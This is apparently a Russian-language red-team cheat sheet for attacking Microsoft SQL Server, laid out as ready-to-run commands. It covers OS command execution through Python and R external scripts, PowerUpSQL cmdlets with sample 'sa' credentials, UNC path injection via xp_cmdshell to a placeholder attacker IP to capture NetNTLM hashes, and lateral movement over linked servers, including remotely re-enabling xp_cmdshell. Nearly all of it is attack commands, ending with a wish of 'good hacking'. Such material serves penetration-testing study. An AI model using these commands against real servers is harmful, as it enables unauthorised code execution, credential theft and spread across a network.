🔹External Scripts (Python/R) - механизм в Microsoft SQL Server, который позволяет выполнять Python и R-код
#SQL Server CLI
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
#PowerUpSQL
#REMOTE
Invoke-SQLOSCmdPython -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"
Invoke-SQLOSCmdR -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"
#LOCAL Instance
Get-SQLInstanceLocal | Invoke-SQLOSCmdPyrhon -Verbose -Command "whoami"
Get-SQLInstanceLocal | Invoke-SQLOSCmdR -Verbose -Command "whoami"
👅 UNC Path Injection
Позволяет утянуть NetNTLM-хеш через SMB
#SQL Server CLI
EXEC xp_cmdshell 'net use Z:\\YOUR_IP\share';
#PowerUpSQL
Invoke-SQLUncPathInjection -Verbose -CaptureIp YourResponderHost
🤪 Lateral Movement через Linked Servers
Linked Servers — это механизм в Microsoft SQL Server, который позволяет подключаться к другим SQL Server'ам или внешним базам данных (MySQL, Oracle, PostgreSQL, файловым источникам и т. д.)
#Просмотр связанных серверов
EXEC sp_linkedservers;
#Выполнение команды на удалённом сервере
EXEC ('whoami') AT [LINKED_SERVER];
#PowerUpSQL
#поиск связанных серверов
Get-SQLServerLink -Instance YourInstance -Verbose
#проверка прав на удаленном сервере
Get-SQLServerLinkCrawl -Instance YourInstance -Verbose
#включаем xp_cmdshell на linked сервере
Get-SQLServerLinkCrawl -Instance YourInstance -Query "EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT YOUR_LINKED_SERVER"
На этом всё, друзья! 🎯
Всем удачного хакинга и до новых встреч!
#redteam